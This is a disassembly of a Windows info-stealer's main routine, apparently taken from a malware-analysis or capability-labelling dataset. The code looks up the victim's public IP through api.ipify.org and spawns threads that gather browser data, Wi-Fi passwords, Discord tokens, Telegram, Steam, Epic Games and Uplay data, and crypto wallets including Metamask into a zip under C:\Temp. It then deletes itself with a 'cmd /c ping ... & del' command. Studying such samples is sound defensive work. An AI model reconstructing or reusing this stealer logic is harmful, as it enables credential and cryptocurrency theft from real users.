Function at 0x40b120
Capabilities:
Create directory
Create process on windows
Create thread
Delete file
Initialize winhttp library
Prepare http request
Receive http response
Resolve function by parsing pe exports
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1c58
call fcn.004115c0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c54], eax
push esi
push edi
push 0x5f5e100
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x40bcfc
push 0x5f5e100
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
call fcn.0040a5f0
cmp eax, 1
je 0x40bcfc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40a920
push 0
push 0
call esi
push 0x208
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1f4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x600]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xc18]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xa10]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xe20]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1028]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1230]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1438]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x808]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x3f8]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1f8]
push eax
push 0x406570
push 0
push 0
call esi
mov dword [esp + 0xb0], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0xa18]
push eax
push 0x407f90
push 0
push 0
call esi
mov dword [esp + 0xb4], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x608]
push eax
push 0x4092b0
push 0
push 0
call esi
mov dword [esp + 0xb8], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0xc20]
push eax
push 0x408100
push 0
push 0
call esi
mov dword [esp + 0xbc], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0xe28]
push eax
push 0x408f10
push 0
push 0
call esi
mov dword [esp + 0xc0], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1440]
push eax
push 0x409b00
push 0
push 0
call esi
mov dword [esp + 0xc4], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1030]
push eax
push 0x408ad0
push 0
push 0
call esi
mov dword [esp + 0xc8], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1238]
push eax
push 0x409080
push 0
push 0
call esi
mov dword [esp + 0xcc], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x400]
push eax
push 0x40ab80
push 0
push 0
call esi
mov dword [esp + 0xd0], eax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x810]
push eax
push 0x40a960
push 0
push 0
call esi
push 0xffffffffffffffff
mov dword [esp + 0xd8], eax
lea eax, [esp + 0xb4]
push 1
push eax
push 0xa
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
push dword [esp + esi*4 + 0xb0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, 0xa
jl 0x40b3e1
push 0x104
xorps xmm0, xmm0
lea eax, [esp + 0xec]
push 0
push eax
movaps xmmword [esp + 0xbc], xmm0
movaps xmmword [esp + 0xcc], xmm0
movq qword [esp + 0xdc], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1640]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push str.C:Temp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
mov dword [esp + 0x5c], 0
push str.WinHTTP
movaps xmmword [esp + 0x64], xmm0
mov dword [esp + 0x78], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push 0x50
push str.api.ipify.org
push eax
mov dword [esp + 0x24], eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0
push 0
push 0
push 0
push 0x4145bc
push 0x4138c4
push eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push 0
push 0
push 0
push 0
push 0
mov edi, eax
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea eax, [esp + 0x4c]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov eax, dword [esp + 0x4c]
xor ecx, ecx
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [esp + 0x50]
add esp, 4
inc ecx
mov esi, eax
push ecx
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x64]
push eax
push dword [esp + 0x50]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push esi
lea eax, [esp + 0x54]
push 0x414470
push eax
call fcn.00401020
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 4
push edi
call esi
push dword [esp + 0x10]
call esi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0xec]
push str.C:Temp_s.zip
push eax
call fcn.00401020
add esp, 0xc
lea eax, [esp + 0xe8]
push 0x208
push eax
lea eax, [esp + 0x1648]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea ecx, [esp + 0xf4]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b583
sub ecx, edx
cmp ecx, 1
jb 0x40b606
push 0x4e018
push 1
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov esi, eax
add esp, 8
test esi, esi
je 0x40b606
mov dword [esi + 0x50], 6
sub esp, 8
mov dword [esi + 0x58], 0xffffffff
mov ecx, esi
mov dword [esi + 0x3c], 0x40f150
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], esi
call fcn.0040f010
add esp, 8
test eax, eax
je 0x40b5fc
mov edx, 0x414b7c
lea ecx, [esp + 0xe8]
call fcn.0040e230
mov ecx, eax
test ecx, ecx
jne 0x40b647
mov ecx, esi
call fcn.0040ef10
mov dword [esi + 0x1c], 0x11
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor esi, esi
xorps xmm0, xmm0
lea eax, [esp + 0x1f0]
movaps xmmword [esp + 0x20], xmm0
mov ecx, 0x414ac4
movaps xmmword [esp + 0x30], xmm0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b656
test dx, dx
je 0x40b643
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b656
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b621
xor eax, eax
jmp 0x40b65b
mov eax, dword [esi + 0x48]
mov dword [eax + 0x3c], ecx
mov dword [esi + 0x18], 4
jmp 0x40b608
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b6c5
push str.browser.json
lea edx, [esp + 0x1f4]
mov ecx, esi
call fcn.0040a2b0
lea ecx, [esp + 0x1f4]
add esp, 4
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b680
sub ecx, edx
xor eax, eax
sar ecx, 1
mov word [esp + ecx*2 + 0x1de], ax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1f8]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0xb0], eax
mov edi, 1
jmp 0x40b6c7
xor edi, edi
mov ecx, 0x414ac4
lea eax, [esp + 0x808]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b6f9
test dx, dx
je 0x40b6f5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b6f9
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b6d3
xor eax, eax
jmp 0x40b6fe
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b73e
push str.Some_Files
lea edx, [esp + 0x80c]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x810]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0x3f8]
nop word [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b776
test dx, dx
je 0x40b772
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b776
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b750
xor eax, eax
jmp 0x40b77b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b7df
push str.wifi.txt
lea edx, [esp + 0x3fc]
mov ecx, esi
call fcn.0040a2b0
lea ecx, [esp + 0x3fc]
add esp, 4
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b7a0
sub ecx, edx
xor eax, eax
sar ecx, 1
mov word [esp + ecx*2 + 0x3e4], ax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x400]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0xa10]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b816
test dx, dx
je 0x40b812
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b816
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b7f0
xor eax, eax
jmp 0x40b81b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b85b
push str.Telegram
lea edx, [esp + 0xa14]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0xa18]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0x600]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b88d
test dx, dx
je 0x40b889
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b88d
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b867
xor eax, eax
jmp 0x40b892
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b8f5
push str.discord_tokens.json
lea edx, [esp + 0x604]
mov ecx, esi
call fcn.0040a2b0
lea ecx, [esp + 0x604]
add esp, 4
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b8b6
sub ecx, edx
xor eax, eax
sar ecx, 1
mov word [esp + ecx*2 + 0x5e8], ax
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x608]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0xc18]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b927
test dx, dx
je 0x40b923
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b927
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b901
xor eax, eax
jmp 0x40b92c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b96c
push str.Steam
lea edx, [esp + 0xc1c]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0xc20]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0xe20]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b99e
test dx, dx
je 0x40b99a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b99e
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b978
xor eax, eax
jmp 0x40b9a3
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b9e3
push str.Epic_Games
lea edx, [esp + 0xe24]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0xe28]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0x1028]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ba16
test dx, dx
je 0x40ba12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ba16
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b9f0
xor eax, eax
jmp 0x40ba1b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40ba5b
push str.Wallets
lea edx, [esp + 0x102c]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1030]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0x1230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ba8d
test dx, dx
je 0x40ba89
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ba8d
add eax, 4
add ecx, 4
test dx, dx
jne 0x40ba67
xor eax, eax
jmp 0x40ba92
sbb eax, eax
or eax, 1
test eax, eax
je 0x40bad2
push str.Metamask
lea edx, [esp + 0x1234]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1238]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
mov ecx, 0x414ac4
lea eax, [esp + 0x1438]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40bb06
test dx, dx
je 0x40bb02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40bb06
add eax, 4
add ecx, 4
test dx, dx
jne 0x40bae0
xor eax, eax
jmp 0x40bb0b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40bb4b
push str.Uplay
lea edx, [esp + 0x143c]
mov ecx, esi
call fcn.0040a390
add esp, 4
lea eax, [esp + 0x60]
push eax
push 0
lea eax, [esp + 0x1440]
push eax
push fcn.00405c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + edi*4 + 0xb0], eax
inc edi
test esi, esi
je 0x40bbe2
cmp dword [esi + 0x14], 2
jne 0x40bb60
mov ecx, esi
call fcn.0040f7a0
mov ecx, dword [esi + 0x14]
cmp ecx, 2
je 0x40bb6d
cmp ecx, 3
jne 0x40bbcb
cmp dword [esi + 0x3c], 0x40ee40
mov edx, dword [esi]
mov eax, dword [esi + 0x48]
mov dword [esp + 0x10], edx
mov edx, dword [esi + 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
jne 0x40bb90
cmp dword [eax + 0x48], 0
jne 0x40bbc4
cmp ecx, 3
jne 0x40bbc4
mov eax, dword [eax + 0x3c]
test eax, eax
je 0x40bbc4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
mov ecx, dword [esp + 0x18]
add esp, 4
mov edx, dword [esp + 0x10]
add edx, dword [ecx + 0x40]
mov ecx, dword [ecx + 0x44]
adc ecx, dword [esp + 0x18]
push ecx
push edx
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__chsize_s]
add esp, 0xc
mov ecx, esi
call fcn.0040ef10
cmp dword [esi + 0x14], 1
jne 0x40bbd8
mov ecx, esi
call fcn.0040e320
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
lea eax, [esp + 0xb0]
push 0xffffffffffffffff
push 1
push eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push edi
test edi, edi
je 0x40bc24
mov dword [0x4173cc], 1
call eax
xor esi, esi
nop word [eax + eax]
push dword [esp + esi*4 + 0xb0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, edi
jl 0x40bc10
jmp 0x40bc26
call eax
push 0xa
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x4173cc], 0
je 0x40bc50
cmp dword [0x4173d0], 0
jne 0x40bc50
lea ecx, [esp + 0xe8]
call fcn.0040a6c0
lea eax, [esp + 0x1640]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [esp + 0x184c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40bcfc
lea eax, [esp + 0x1848]
push eax
lea eax, [esp + 0x1a54]
push str.cmd__c_ping_127.0.0.1__n_2___nul__del__f__q___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40
lea eax, [esp + 0x70]
mov dword [esp + 0x6c], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x6c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x1a70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40bcfc
push dword [esp + 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x54]
call esi
mov ecx, dword [esp + 0x1c5c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0041083d
mov esp, ebp
pop ebp
ret 0x10